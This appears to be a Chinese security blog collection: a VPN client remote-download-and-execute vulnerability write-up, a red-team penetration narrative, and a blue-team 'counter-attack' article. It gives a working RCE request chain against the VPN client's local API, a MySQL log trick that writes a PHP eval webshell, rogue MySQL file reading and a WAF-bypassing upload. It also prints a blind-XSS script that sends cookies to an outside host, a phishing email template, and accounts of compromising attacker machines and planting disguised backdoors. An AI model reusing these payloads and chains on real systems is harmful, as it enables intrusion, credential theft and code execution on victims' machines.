2021年3月，我通过黑盒的方式挖掘出某VPN客户端的远程下载文件执行漏洞，其原理就是通过VPN客户端本身所开启的Web服务API接口修改客户端更新请求地址，继而通过API控制客户端程序进行自动请求更新，导致客户端下载我自定义的更新程序，并运行。

黑盒侧的漏洞挖掘往往带有许多的不确定性，所以我尝试从白盒（逆向）侧的角度去入手分析该漏洞的形成，并以此为基础形成对这种漏洞的模型记忆，并且在后续的研究中也用类似思路对其他VPN客户端进行漏洞挖掘，成果还算不错。

注：文中可能会存在笔误或描述不准确等错误，还望各位不吝赐教，多多斧正。

黑盒侧

在正式逆向之前，建议读者先阅读一下黑盒侧的漏洞挖掘过程，如若读者已经熟知该漏洞，可越过该章节直接阅读「逆向侧」章节内容。

漏洞回顾

随便找一个地方下载VPN客户端下载安装。

安装完之后访问VPN的页面，发现VPN会自动下载组件更新：

这之间也许是因为存在着某些联系，可以深入的看一下。

对本地的访问

重现上述问题，通过F12发现当访问VPN的登陆页面会对本地127.0.0.1进行HTTP(s)请求：

这些请求均为GET请求并附带着一些参数，我把它一一列下来：

本地来看一下这个54530端口对应的进程是什么：

发现这个端口是ECAgent.exe开启的，寻找到对应进程文件所在位置：

确认这是XXX SSLVPN的程序，那么就可以将两者联系到一起，访问VPN登录首页会触发对127.0.0.1的访问从而引起VPN进行组件更新。

更新地址可控

通过以上的分析可以猜测整个大致流程，但我设想一下如果我可以控制本地的更新指向我的服务器，然后将更新的组件内容替换成恶意程序，当程序启动的时候就启动了恶意程序，这样我可以拿到安装VPN客户端的使用者PC权限。

再回到之前的本地链接列表，根据对英文的理解，参数op的值应该为其具体对应要执行的动作：

InitECAgent -> 初始化 GetEncryptKey -> 获取加密密钥 DoConfigure -> 配置 CheckReLogin -> 检查重新登录 CheckProxySetting -> 检查代理设置 UpdateControls -> 更新控制 DoQueryService -> 查询服务

第一个初始化的请求存在可控参数arg1：

https://127.0.0.1:54530/ECAgent/?op=InitECAgent&arg1=XXX%20443&callback=EA_cb10000

参数arg1=XXX%20443，对应值也就是HOST+空格+端口的格式，看到这里基本上就会有一个思路，客户端更新控件是不是根据这个指定值向其发送请求更新的呢？我可以只替换第一个初始化请求的arg1参数为172.20.10.2 8000，然后本地搭建一个HTTP服务：

python -m SimpleHTTPServer

其他的请求原封不动，依次请求一遍那一份URL列表（图为请求示例）：

服务端成功收到请求，但是却出现了错误的提示：

首先我已经验证了自己的猜想，更新地址是自己可控的，客户端确实会向我指定的服务端发送请求，但由于出现了错误，我不知道客户端访问了哪个文件，也不知道访问文件之后做了什么动作。

服务搭建

现在要做的就是搭建一个客户端可以正常访问的请求，通过这个错误大致可以知道，我搭建的服务端协议和客户端请求使用的协议不一致，本机抓个包发现客户端请求的是 HTTPS 协议，这就需要搭建一个 HTTPS 服务了。

如下脚本基于Python库建立一个 HTTPS 服务：

# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes import BaseHTTPServer, SimpleHTTPServer import ssl httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 8000), SimpleHTTPServer.SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever()

搭建起一个 HTTPS 环境后再次复现如上请求，服务端收到日志：

可以看见客户端会访问两个文件：

/com/WindowsModule.xml /com/win/XXXUD.exe

先不管xml文件是怎么样的，可执行文件(exe)是需要重视的，但是这里通过提示可以看出客户端发出的请求是POST请求，但我所写的Python脚本建立的HTTPS服务并不支持POST方法，我需要重写一下Handler：

import BaseHTTPServer import SimpleHTTPServer import cgi import ssl class ServerHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_POST(self): form = cgi.FieldStorage() SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) Handler = ServerHandler httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 8000), Handler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever()

最终如上脚本支持POST方法，当时用POST方法请求时即返回文件内容。

最后，拖一个calc.exe（计算器）到HTTPS网站根目录下的/com/win/XXXUD.exe。

依次请求（经过多次复现发现，这三个请求才是重点的，其他的可以忽略）：

https://127.0.0.1:54530/ECAgent/?op=InitECAgent&arg1=172.20.10.2 8000&callback=EA_cb10000 https://127.0.0.1:54530/ECAgent/?op=CheckReLogin&arg1=3408a894633162c62188f98e92a221967dccfa5aafbd79b576714b4d1c392a4ad4b220d698efcd939c3b1b37467023e9380ee3abf0e492ee2efc736de757b80e973fe4c7d8af1af211a3f7ff3433cd9de975c76583efe7251dd1c0656f4384832998630359b65beb131cd8d287712462fa1b9e9acbc96dcc678b84cd57178c1a&token=50065256e83ff1bb9e01757d0d22b669&callback=EA_cb10003 https://127.0.0.1:54530/ECAgent/?op=UpdateControls&arg1=BEFORELOGIN&callback=EA_cb10005

会发现客户端请求之后，将文件下载到本地并启动该程序，成功弹出计算器：

白盒（逆向）侧

我从白盒（逆向）侧的角度，带入Web漏洞挖掘思维，在不完全分析伪代码的情况下推理出漏洞。（仅尝试带入，非实战，不喜勿喷）

HTTP服务的建立 确定进程

首先进行某客户端程序的安装并启动客户端程序，然后需要使用Process Hacker之类的工具查看进程树，根据某独有的特征关键词XXX找到打开的进程。

接着根据进程查看其是否启用了网络服务（端口开放），我找到了ECAgent.exe这个进程，并且观察到其启用了54530端口：

尝试以HTTP/HTTPS形式访问该端口，发现HTTPS访问有具体返回内容：

故此判断该进程所启用端口为HTTP服务。

寻找入口

现在需要找到程序开启HTTP服务的入口点，由此才能继续去跟进整个程序的逻辑，我第一时间想到的是加载的DLL文件，选择x32dbg附加进程查看其所加载的DLL文件：

这里有很多系统的DLL文件，可以略过，优先查看与ECAgent.exe有关联性的DLL文件，例如其同级目录下的几个DLL（也都被加载了）：

通过IDA打开这些DLL文件，并使用关键词127.0.0.1、0.0.0.0、54530搜索相关数据，找到对应使用的代码（F5伪代码，如下图中函数地址不一致时因为我在调试过程中进行了REBASE）：

如上图代码中，很明显这是WINSOCK编程的写法，其中的结构体sockaddr实际上等价于sockaddr_in，二者唯一的区别是sockaddr_in结构体有明确的成员去指定IP、端口，而sockaddr结构体则是使用成员sa_data（这是一个数组）去包含IP、端口之类的信息。

如下图所示，就是一个两结构体之间的对应图，端口存放在sa_data的第0、1位，IP存放在sa_data的第2、3、4、5位：

但是在这里，实际环境中的代码对应的端口居然为0，实际测试，发现这样的赋值是无法创建成功的：

我陷入了沉思，莫非是找错位置了？并不是这个DLL文件去开启的Web服务？带着这一份沉思去找了很多个DLL，发现它们要么是0，要么就是其他端口，而不是对应的54530。

在不断的试错之后，我发现了自己从未去看过ECAgent.exe本身，而尝试去ECAgent.exe搜索字符串时，也没有什么收获，于是想着既然一个DLL中用到了WINSOCK的库去创建SOCKET，那么应该都会这样去编写，所以尝试使用创建SOCKET服务特有的函数名bind去全局搜索，搜索结果如下图所示：

接下来就是一个一个函数跟进去查看，最终我发现了它sub_47FD60，如下图所示，sub_47FD60是创建SOCKET的函数，但是绑定的端口是入参，所以我需要找到调用该函数的函数，也就是sub_47FEB0，这个函数会使用一个循环，入参的端口也会随着循环递增（应该是为了防止端口冲突的情况），当创建SOCKET成功之后就直接返回。

将这段伪代码编译执行一下，输出结果，就发现第一个入参的端口是54530，并且理论上不会有其他的软件占用这个端口，所以，我认为ECAgent.exe的HTTP服务端口就是54530。

接口参数的处理逻辑

分析完HTTP服务的建立之后，我想要知道其具体如何处理请求参数，可以在此函数基础上继续回溯追踪调用链，但是这样的工作量是巨大的，不适合快速分析，所以我首先根据HTTP服务的响应字符串于IDA中搜索，再根据字符串的XREF，找到其对应使用到的函数：

如上图所示代码，大概意思就是有一个数组，存入了字符串和函数地址，根据入参进行类似对比，而后去调用函数。

在这里第二个参数a2至关重要（它在条件判断、函数入参中都被使用到），所以我接着跟该函数的XREF，找到传递参数v26：

跟进处理过v26的函数，sub_48E2C0函数打开了世界的大门，根据其函数的输出字符串和代码，此函数大概表达意思就是去解析URL中的请求参数：

所以，这里我就可以列出这几个参数：

op token callback guid

将参数带入URL中，分别加上123参数值去访问：

https://127.0.0.1:54530/?op=123 https://127.0.0.1:54530/?token=123 https://127.0.0.1:54530/?callback=123 https://127.0.0.1:54530/?guid=123

如上图所示，请求参数callback有对应的反回信息，尝试进行XSS无果，接着在IDA中搜索callback字符串找找是否有对应的逻辑，发现了多个URL的地址：

这些URL地址证明了参数op、token、callback可以搭配在一块去请求使用，我于此处逐渐递减参数访问（考虑到token参数可能会存在鉴权等操作）：

https://127.0.0.1:54530/?op=__restart_ecagent__&token=123&callback=123 https://127.0.0.1:54530/?op=__restart_ecagent__&token=123 https://127.0.0.1:54530/?op=__restart_ecagent__

最终发现，这三条请求都可以使得ECAgent.exe进程重启，而op=__stop_ecagent__则测试可以停止ECAgent.exe进程。

输入参数

简单梳理完接口参数的处理逻辑之后，我对op值对应的函数都看了下，有很多函数无法通过静态的方式去分析，但根据字面意思也能理解个大概：

v7 = "__check_alive__"; v8[0] = (int)sub_48F700; v8[1] = (int)"CheckRelogin"; // 检查重新登录 v8[2] = (int)sub_4935E0; v8[3] = (int)"DoConfigure"; // 做配置 v8[4] = (int)sub_490800; v8[5] = (int)"GetConfig"; // 获取配置 v8[6] = (int)sub_48FB30; v8[7] = (int)"InitECAgent"; // 初始化ECAgent v8[8] = (int)sub_48F720; v8[9] = (int)"GetEncryptKey"; // 获取加密key v8[10] = (int)sub_493540; v8[11] = (int)"Setter"; v8[12] = (int)sub_493960; v8[13] = (int)"Getter"; v8[14] = (int)sub_494190; v8[15] = (int)"__restart_ecagent__"; // 重启ECAgent v8[16] = (int)sub_4903E0; v8[17] = (int)"__stop_ecagent__"; // 停止ECAgent v8[18] = (int)sub_491510; v8[19] = (int)"DetectECAgent"; // 检测ECAgent v8[20] = (int)sub_48F6C0;

但有些操作肯定是需要另外一个参数去赋值配合的，所以我根据之前获取的参数列表在IDA中搜索字符串，我发现在这些参数中夹杂着一个双字dd -> Define Double Word，IDA没有将它直接解析出来：

我选中它按下快捷键A将其转为字符串形式，得到了字符串arg：

既然是与参数在一块的，那么我也将其作为参数添加到URL中，并与添加参数之前的URL，分别请求对比响应：

https://127.0.0.1:54530/?op=CheckRelogin https://127.0.0.1:54530/?op=DoConfigure https://127.0.0.1:54530/?op=GetConfig https://127.0.0.1:54530/?op=InitECAgent https://127.0.0.1:54530/?op=GetEncryptKey https://127.0.0.1:54530/?op=CheckRelogin&arg=123 https://127.0.0.1:54530/?op=DoConfigure&arg=123 https://127.0.0.1:54530/?op=GetConfig&arg=123 https://127.0.0.1:54530/?op=InitECAgent&arg=123 https://127.0.0.1:54530/?op=GetEncryptKey&arg=123

CheckRelogin，添加前提示invalid param count，添加后就不提示：

DoConfigure，添加前返回为空，添加后返回有内容：

GetConfig，添加前返回有内容，添加后返回为空：

InitECAgent，添加前返回为空，添加后返回有内容，并提示CSCM_EXIST, init ok：

GetEncryptKey，添加前后返回内容没有变化：

根据对比， arg确实可以作为参数去请求，但具体是什么意义，还需要去看功能实现，由于我水平有限，在阅读静态代码时遇到很多坎，所以根据自己的大概理解，判断出该程序会输出Log日志。

于是在磁盘文件中去寻找Log文件，最终在C:\Users\chen\AppData\Roaming\XXX\SSL\Log中找到了输出日志：

根据ECAgent.exe.log日志记录可以看出程序处理的逻辑：

1. CheckRelogin对arg参数进行了解密；
2. GetConfig根据arg参数进行读取配置；
3. InitECAgent根据arg参数配置了VPN地址（HTTPS）。

CheckRelogin解密正好对应着GetEncryptKey的返回加密信息，于是尝试带入并根据日志发现记录的信息不一样了，所以在这里我暂时将其搁置：

接着来看配置VPN客户端的服务地址，尝试请求如下地址，将服务器地址指向我的机器：

https://127.0.0.1:54530/?op=InitECAgent&arg=172.20.10.3

随后去请求其他op参数值的地址，偶然间发现请求如下地址（GetConfig的arg参数为0或字符串）：

https://127.0.0.1:54530/?op=GetConfig&arg=abc

VPN客户端会去请求https://172.20.10.3/com/WindowsModule.xml，如下图所示就是客户端请求服务端的HTTP日志：

并且会将该文件的XML格式转为JSON格式输出：

其他动作

按照正常逻辑来说，既然可以远程读取服务器配置，应该会有一些其他的操作，例如更新、下载，于是我在IDA中继续寻找，发现了一段字符串：

v23 = "__check_alive__|GetEncryptKey|DoConfigure#SET LANG|DoQueryService#QUERY LANG|InitECAgent|CheckRelogin|Logout|CheckMITMAttack|SelectLines|DetectECAgent|CheckProxySetting|UpdateControls#BEFORELOGIN|DoQueryService#QUERY CONTROLS UPDATEPROCESS|DoQueryService#QUERY DKEY_DETECT|DoQueryService#QUERY LOGINSTATUS|OpenBrowser|StartEasyConnect|DoQueryService#QUERY NEEDUPDATE";

在该字符串中许多之前发现的都存在其中，当然也有很多没有见过的，我梳理了一下没有见过的字符串：

DoConfigure#SET LANG DoQueryService#QUERY LANG Logout CheckMITMAttack SelectLines CheckProxySetting UpdateControls#BEFORELOGIN DoQueryService#QUERY CONTROLS UPDATEPROCESS DoQueryService#QUERY DKEY_DETECT DoQueryService#QUERY LOGINSTATUS OpenBrowser StartEasyConnect DoQueryService#QUERY NEEDUPDATE

很奇怪的是这些字符串之后还有一个#号，例如DoConfigure，按照我的推测是去设置配置信息的，此处后面跟了一个#号+SET LANG，根据字面意思第一时间想到了这可能是设置语言，但如何设置？尝试了一下，此处可以带进arg参数，按照字面意思SET LANG之后应该还需要有参数值，所以请求参数值改为SET LANG 123，接着按照字面意思发现配合DoQueryService#QUERY LANG可以查询出来：

同样，我在之前的发现中发现可以去配置VPN服务IP地址，在IP之后加上空格也可以配置指定端口：

https://127.0.0.1:54530/?op=InitECAgent&arg=172.20.10.3 443 远程下载（RCE）

接着来看我最关心的UpdateControls#BEFORELOGIN，其字面意思就是在登陆前进行更新，那么具体更新了什么呢？我尝试请求如下URL并查看是否存在网络的连接（需要先请求InitECAgent）：

https://127.0.0.1:54530/?op=UpdateControls&arg=BEFORELOGIN

在HTTP服务端成功的收到了请求日志，可以看见客户端请求了很多个路径，并以POST形式请求了/com/win/XXXUD.exe文件：

经过测试发现其会去主动下载该EXE并替换原XXXUD.exe文件，接着执行打开：

就这样我成功发现了一条RCE链：

// 改变VPN客户端服务的IP地址和端口 https://127.0.0.1:54530/?op=InitECAgent&arg=172.20.10.3 443 // 让VPN客户端发起下载更新，并执行更新文件 https://127.0.0.1:54530/?op=UpdateControls&arg=BEFORELOGIN 文末

我在真实逆向过程中踩了很多坑，也由于自身缺少逆向经验和强有力的水准，只能模拟黑盒的经验和套路带入到逆向中。

虽然这只是一次逆向挖掘模拟，但在这过程中我掌握了之前黑盒所无法知晓的细节，并且对比黑、白盒的过程和结果，会发现逆向侧最后实际的PoC根本不需要/ECAgent/目录，arg1参数也变成了arg参数，并且RCE链的请求，从原本的3条请求变成了2条请求。（也许可以Bypass一些WAF）

最后我将这类漏洞称之为Web2Pwn，也就是基于Web通道达到应用侧（非Web）漏洞触发的目的。例如你可以通过HTTP服务访问触发执行CreateProcess函数，亦或者通过HTTP服务访问触发溢出漏洞。

记一次攻防演习渗透过程 前言

记录一次攻防演习渗透过程，文章仅写关于「打点」环节的部分，也就是拿到靶标的Webshell为止。

任务: 拿到XXX业务系统权限…

过程

靶标是一个www的域名，简单看了下有机会硬啃（商业源码），但时间不多，先找找脆弱点，常规一套流程，收集子域、C段…

脆弱点发现

在对子域的常规扫描后，发现存在.git泄露:

以及发现了phpMyAdmin应用和一些phpinfo()信息泄漏:

看到这些，不由得兴奋了起来，接下来只要按照预期的想法: 通过.git拿到数据库账号密码（源码中一般会有），登录phpMyAdmin，然后拿到Webshell…

但…转折点来了，尝试使用GitHack等一系列常见工具去恢复.git，发现恢复的文件只有一些图片，看Logs发现有很多文件恢复失败，既然不能当一个ScriptKid一把梭哈，那就自己来手动恢复吧~

Git原理与恢复

基本概念

Git有三个概念词需要了解: 1.工作区 2.版本库 3.暂存区

工作区就是正常的目录（你的项目位置）;版本库就是在工作区内的一个隐藏目录.git;如果你曾经注意过这个目录你会发现里面有许多东西，在该目录下会存在一个index文件，这被称之为暂存区。

除以上所述之外，大家都知道每一个Git项目都会有一个默认的分支master，在.git目录下有一个文件head，它用来指向master这个分支。

当我们使用git add时，实际上就是把文件添加进暂存区；使用git commit时，才会把暂存区的内容添加到当前分支，默认是master分支。

我们可以来实际的看一下index和head这两个文件:

使用Binwalk直接分析，可以很直观的看见index内有许多内容，head并没有，直接cat head发现这就是一个单纯的文本内容:

ref: refs/heads/master

前面了解到这是一个分支指向，那我直接查看.git目录下的refs/heads/master文件，得到一串Hash值。

我们可以暂且认为这是master分支的一个记录，用于区分、比较。

大概了解了以上内容后，还需要了解有哪些文件才能够恢复.git?

首先我们来看一下.git目录内的一般结构:

名称 类型 作用 .git/index 文件 暂存区 .git/config 文件 Git配置文件 .git/description 文件 GitWeb专用的描述文件 .git/info 文件夹 里面就一个exclude文件（与.gitignore互补），排除指定文件不用做Git提交 .git/hooks 文件夹 存放一些钩子脚本 .git/HEAD 文件 记录分支 .git/objects 文件夹 存放所有数据 .git/refs 文件夹 存放提交对象的指针

知道结构及其作用后，挑重点关注objects这个目录，但一看，全都是一些Hash命名的文件，根本不知道其对应关系:

并且这些文件都没办法看:

查阅相关资料得知此类文件是将原文件内容经过zlib的deflate压缩后存储的( https://mirrors.edge.kernel.org/pub/software/scm/git/docs/user-manual.html#object-details ):

而使用zlib进行解压查看文件内容时是这样的:

这个文件更像是记录了一个目录结构，而关于此就又需要查阅资料了，具体请看: https://git-scm.com/book/zh/v2/Git-%E5%86%85%E9%83%A8%E5%8E%9F%E7%90%86-Git-%E5%AF%B9%E8%B1%A1

git中的对象(对象对应文件).git/objects包含了:

1. SHA(所有用来表示项目历史信息的文件,是通过一个40个字符的（40-digit）“对象名”来索引的)
2. Blob对象(用来存储文件的内容)
3. Tree对象(有一串bunch指向Blob对象或是其它Tree对象的指针，一般表示内容之间的目录层次关系)
4. Commit对象(指向一个Tree对象, 并且带有相关的描述信息.)

(注: 图片来自 git-scm.com )

猜测: 按照这个逻辑，我们需要先获取Commit对象对应文件找到Tree对象对应文件再通过其获得Blob对象对应文件，最后解压即可获得源文件内容。

那这些对象内容都存储在哪里呢？通过之前使用Binwalk分析，显而易见，在.git/index文件中。

但是在这里.git/index文件无法直接查看，直接套用GitHack的( https://github.com/lijiejie/GitHack/blob/master/lib/parser.py )解析代码就行:

获得SHA1: a797b1973fd62dc34a691c7fe3bce33a504f2b74，但是找了半天没找到这个对应文件​，后来尝试搜索前几位和后几位，发现搜索到了后几位:

对比发现文件名和获取的SHA1值少了2位:

搜索发现原来前两位是作为了目录名:

但在这里，我们使用zlib去解压缩，发现存储在.git/index的SHA1值实际上就是一个blob对象的值，也就根本不需要获取commit、tree对象的值了，表示之前的顺序逆推逻辑是错误的:

接下来按照这个思路去编写脚本恢复源码即可。

编写与恢复

由于项目时间原因简单了解原理之后，没有过多的去研究，也不打算使用原生方法去恢复，还是采用最暴力的方法，使用命令行去恢复.git，想要让Git回退历史，使用git reset --hard commit_id命令，进行版本回退。

基于这个命令，我需要获取网站的这几个文件/目录:

1. .git/index
2. .git/logs
3. .git/head
4. .git/objects
5. .git/refs

先下载.git/index、.git/head、.git/refs、.git/logs(文件目录都是固定的无需考虑其他情况)而后解析index获取索引，根据索引依次下载.git/objects内的文件，最后全部下载完毕，获取master分支(refs/heads/master文件)对应的值带入该命令git reset --hard commit_id即可恢复:

但发现除此之外，发现恢复的文件寥寥无几，后来下载.git/logs/head发现该.git项目还有其他分支:

这个记录中有两个SHA1的值，master对应前者，shop对应后者，简单修改命令git reset --hard shop_commit_id，还是那一套流程，恢复shop这个分支的源码即可。

获取子域 Webshell

获得源码之后翻数据库账号密码:

由于之前我们已经有了一个phpinfo()探针，网站绝对路径已知，所以直接上phpMyAdmin登录，尝试使用into outfile，有--secure-file-priv限制无法写入:

转而使用Mysql Log日志存储的方式进行写入:

set global general_log=on; set global_log_file='/xxx/www/xxx.php'; select '<?php @eval($_REQUEST["xxx"]);?>';

访问相关文件却提示我无法访问(403/AccessDefined):

遇到这种情况尝试以下几种方法:

1. 修改后缀访问，判断是否是只针对脚本后缀进行限制（上传.htaccess文件）
2. 修改内容访问，判断是否有安全防护对内容进行限制
3. 如若以上均未访问成功，则可以考虑覆盖原文件写入

这里我的情况是第三种，大概推测可能是因为新建的文件没有执行权限所导致，因为这里我们已经有源码了所以可以直接找已有的文件(建议选择非业务相关的文件)进行写入(记得事后恢复):

执行phpinfo();函数可以，但无法直接使用管理工具连接，抓包发现目标网站上了云WAF，对请求内容拦截了(该WAF还挺弱)，这种情况还是有很多中方式:

1. 配合Cknife、蚁剑等自定义修改传输内容(Base64编码等等)，但需要修改PHP文件内容配合解码
2. 直接上冰蝎、哥斯拉的马就行了

为图方便，选择冰蝎3，使用file_put_contents写入连接就行(这都不拦，WAF堪忧):

瞄准靶标

进入子域的Webshell发现内网无机器、就是一个云服务器，一开始误以为打中靶标，因为在主战发现一个路径泄漏:

而子域服务器上也有对应目录并且文件一模一样，但是修改文件却没反应不生效，猜测很有可能主战业务曾经在这个子域服务器上，但后期进行了转移，原Web文件还留着。

尝试翻翻源码，找密码，后来找到了几个有用的东西:1.Adminer文件 2.数据配置信息

Adminer（类似phpMyAdmin的数据库管理工具）文件是随机的: adminerxxxxxxxxx.php，完全无法扫到，数据库配置密码与子域完全一样。

使用数据配置密码无法登录，但是这里Adminer可以直接连外网的Mysql数据库，使用脚本( https://github.com/Gifts/Rogue-MySql-Server )伪造一个Mysql服务端读取对应文件就好，这边以/etc/passwd为例:

如上图所示是成功读取到的，而我们在子域上也知道了对应的配置文件路径，直接伪造读取即可。

再使用Adminer登录进去时，使用如下几种方法尝试获取Webshell:

1. into outfile -> 失败
2. Mysql log -> 失败
3. Adminer是最新版本无漏洞 -> 失败
4. 获取管理员密码无法解密 -> 失败

最终选择添加新管理员登录:

登录之后寻找对应上传点(以最短攻击路径的方式进行GetWebShell):

测试如下后缀及服务器结果:

Key.jpg -> 上传成功 Key.php -> 上传失败WAF拦截 Key.phtml -> 上传失败文件类型不允许

我们在已经有源码的情况下，找到对应的代码进行审计就行，发现这里是白名单设置无法绕过:

直接关键词寻找上传功能，发现函数:xxx_upload_file存在任意文件上传

后续构建请求包以及使用回车直接绕过CloudWAF，上传成功:

至此靶标拿到，结束。

文末

很多时候还是需要去探寻事物的本质和原理，才能更加清晰明了的了解这个事物，否则什么东西都是现有的成品一把梭，遇到梭不了，容易出现惯性思维，可能就直接略过了。

浅谈蓝队反制手段 前言

网络安全攻防演习在国内已经逐渐常态化，从行业、区域（省份、地市）到部级…

2020年1月份开始到现在可以说基本上每个月都有1-3场HW，红与蓝的对抗从未停息。

红队的攻击技巧可以无穷无尽（扫描器、社工、0day、近源…），但是对于蓝队防守来说除了演习中常规的封IP、下线业务、看日志分析流量等“纯防守”操作以外，似乎实在是没有什么其他的防御手段了。

笔者在参与的几场攻防演习项目中担任“蓝队防守”角色，就发现了这一缺陷，似乎安全防御基础较弱的厂商再怎么充足的进行演习前准备，都只有乖乖的等待被“收割”。

转换一个思维，化被动为主动，尝试用“攻击”思路代入“防守”中，对“红队”进行反向捕获（反制）。

本文将总结案例和“反制”手段，文中不足之处还望各位斧正。

反制手段 蜜罐篇 蜜罐设备

大部分厂商为了争取得到一些分数，都会采购/借用一些厂商的蜜罐设备，但蜜罐也分两类：传统、现代，两者从本质上还是有一定区别的，这里我简单说一下自己的理解。

传统蜜罐：蜜罐技术本质上是一种对攻击方进行欺骗的技术，通过布置一些作为诱饵的主机、网络服务或者信息，诱使攻击方对它们实施攻击，从而可以对攻击行为进行捕获和分析，了解攻击方所使用的工具与方法，推测攻击意图和动机，能够让防御方清晰地了解他们所面对的安全威胁，并通过技术和管理手段来增强实际系统的防御能力。

现代蜜罐：除了捕获分析攻击行为外，各类安全厂商在蜜罐产品中加入了“攻击者画像”这一功能作为“卖点”，而本质上攻击者画像是将第三方厂商漏洞转为画像探针，利用第三方厂商漏洞获取攻击者所在此类厂商网站业务上的个人信息，此类漏洞多半为前端类漏洞，例如：JSONP、XSS…除此之外还有网站伪造、自动投放蜜标等等众多丰富的功能。

所以传统蜜罐厂商在这一块的被“需要”不大，而现代蜜罐厂商在这一块往往有需要性很多，就冲“攻击者画像”这一方面在演习过程中就可以为防守方加分。

蜜罐的反制

现代化蜜罐都做了哪些反制的操作呢？

1. 可克隆相关系统页面，伪装“漏洞”系统
2. 互联网端投饵，一般会在Github、Gitee、Coding上投放蜜标（有可能是个单独的网站地址、也有可能是个密码本引诱中招）
3. 利用JSONP、XSS、CSRF等前端类漏洞获取访问蜜标的攻击者网络身份（网络画像）

这样其实一条捕获链就出现了（仅仅是举例，其实更多的是对方在做信息收集的时候探测到了此端口）：

蜜罐的一些功能细节不过多赘述，比如利用JavaScript辨别人机、Cookie中种入ID防止切换IP之类的…如有兴趣想深入了解的朋友可以去相关厂商官网下载白皮书观看。

注：在实战演习过程中，仍然有许多攻击者中招，蜜罐会存储身份数据，并且会回传至厂商进行存储。

场景篇 主动攻击“攻击IP”

防守日常就是看流量、分析流量，其中大部分都为扫描器流量，由于一般扫描器都会部署在VPS上，因此我们可以结合流量监测平台反向扫描。

导出演习期间攻击IP列表，对IP进行端口扫描，从Web打入攻击IP机器内部。

发现了一堆攻击IP机器上Web服务的漏洞：SQL注入、弱口令…拿下了一堆机器，也发现了大部分都是“被控主机”，而非购买的VPS，上面也大多是一些正常业务、非法业务在运转。

除此之外，我们对所拿下的主机进行信息收集，发现了一个有意思的点，大部分机器为WAMP（Windows + Apache + Mysql + PHP），而根目录都存在着一个文件images.php。

这是一个PHP脚本后门，我们通过分析该PHP文件又拿下数十台机器，对每台机器进行日志收集，分析IP关联性…整理报告上交裁判组判定。

邮件钓鱼反制

安全防护基础较好的厂商，一般来说除了出动0day，物理近源渗透以外，最常见的就是邮件钓鱼了，在厂商收到邮件钓鱼的情况下，我们可以采取化被动为主动的方式，假装咬钩，实际上诱导攻击者进入蜜网。

北京时间 2019 年 5 月 15 日微软发布安全补丁修复了 CVE 编号为 CVE-2019-0708 的 Windows 远程桌面服务(RDP)远程代码执行漏洞，该漏洞在不需身份认证的情况下即可远程触发，危害与影响面极大。 受影响操作系统版本： | Windows 7 | Windows Server 2008 R2 | Windows Server 2008 | Windows Server 2003 | Windows XP 由于该漏洞与去年的“Wannacry”勒索病毒具有相同等级的危害，由总行信息科技部研究决定，先推行紧急漏洞加固补丁，确保业务网、办公网全部修补漏洞，详情请阅读加固手册。 加固补丁程序解压密码：xxxx xx信息科技部 xxxxx xxx年xx月xx日

在某次演习期间，我们防守的客户单位就收到了钓鱼邮件，庆幸的是客户总体安全意识很强，加上有邮件沙箱的加持，并没有实际人员中招，而我们将计就计，部署一套虚假的内网环境，伪造钓鱼邮件中招假象，中招人员画像和机器环境编排：

名字：许晋 （jinxu）

身份：巡检职员

平时上机内容：看视频、打游戏、巡检

系统软件：Office三件套, 搜狗输入法, QQ, 微信, Xmind, 谷歌浏览器, Winrar, 迅雷, 百度网盘, Everything, 爱奇艺, 腾讯视频, QQ音乐, 网易云音乐, FastStone Capture….

系统环境：除了部署一些常见的系统软件，我们还要创建一系列工作文档（手工伪造、由客户提供非敏感公开数…），并在众多的工作文档中携带了我们部署的免杀后门（伪装成VPN安装包或办公软件）。

目的：点开钓鱼邮件的附件，假装中招后，让攻击者在翻当前PC机器的时候寻找到我们投下的假密码本，并结合VPN安装包，使得攻击者下载VPN安装包并进行安装，从而进行反向控制。

其中具体细节不过多赘述，套路都一样，在多次演习中都成功的反制到了攻击队的VPS，甚至在演习中我们拿下了攻击队的终端PC…

盲打攻击反制

盲打攻击算是在演习中比较不常见的了，因为其效率不高，没办法直接的直控权限，但在攻击方穷途末路的时候往往也会选择使用盲打漏洞的方式来获取权限进而深入，比较常见的就属于盲打XSS了。

一般盲打XSS都具备一个数据回传接口（攻击者需要接收Cookie之类的数据），接口在JavaScript代码中是可以寻找到的，我们可以利用数据回传接口做2件事情：

1. 打脏数据回传给XSS平台（捣乱）
2. 打虚假数据回传给XSS平台（诱导）

通常选择第二种方式更有意义，当然实在不行的情况下我们还是可以选择捣乱的…

首先，我们获取到了XSS盲打的代码：

'"><sCRiPt sRC=https://XXXX/shX36></sCrIpT>

跟进SRC属性对应值（地址），获得如下JavaScript代码：

(function(){(new Image()).src='https://XXXX/xss.php?do=api&id=shX36&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='https://XXXX/xss.php?do=keepsession&id=shX36&url='+escape(document.location)+'&cookie='+escape(document.cookie)};

通过该段代码我们可以知道数据都回传到了这个接口上：https://XXXX/xss.php?do=api&id=shX36&location=地址&toplocation=地址&cookie=Cookie信息&opener=

我们制定了一个计划：发送假数据前往攻击者所使用的XSS信息接收平台，诱导攻击者进入蜜罐。

资源准备：公网域名解析蜜罐地址（需要客户网络安全部门具备一定的权利），蜜罐（需要具备蜜罐产品）伪造假后台，并部署虚假准入客户端下载；（【细节】当攻击者Cookie伪造进后台时会提示：当前登录IP不在准入名单）

万事俱备只欠东风，对应参数传入虚假诱导数据（Location地址为查看留言信息的地址，Toplocation为引用该界面的地址，将用户名、密码写入到Cookie中配合“准入客户端”的诱导攻击）发送过去，等待攻击队上钩。

技巧篇

技巧篇不过多讲解，懂得自然懂。

虚假备份文件

配合蜜罐部署虚假漏洞，例如备份文件（WWW.rar）配合CVE-2018-20250漏洞。

参考：https://github.com/WyAtu/CVE-2018-20250

OpenVPN配置后门

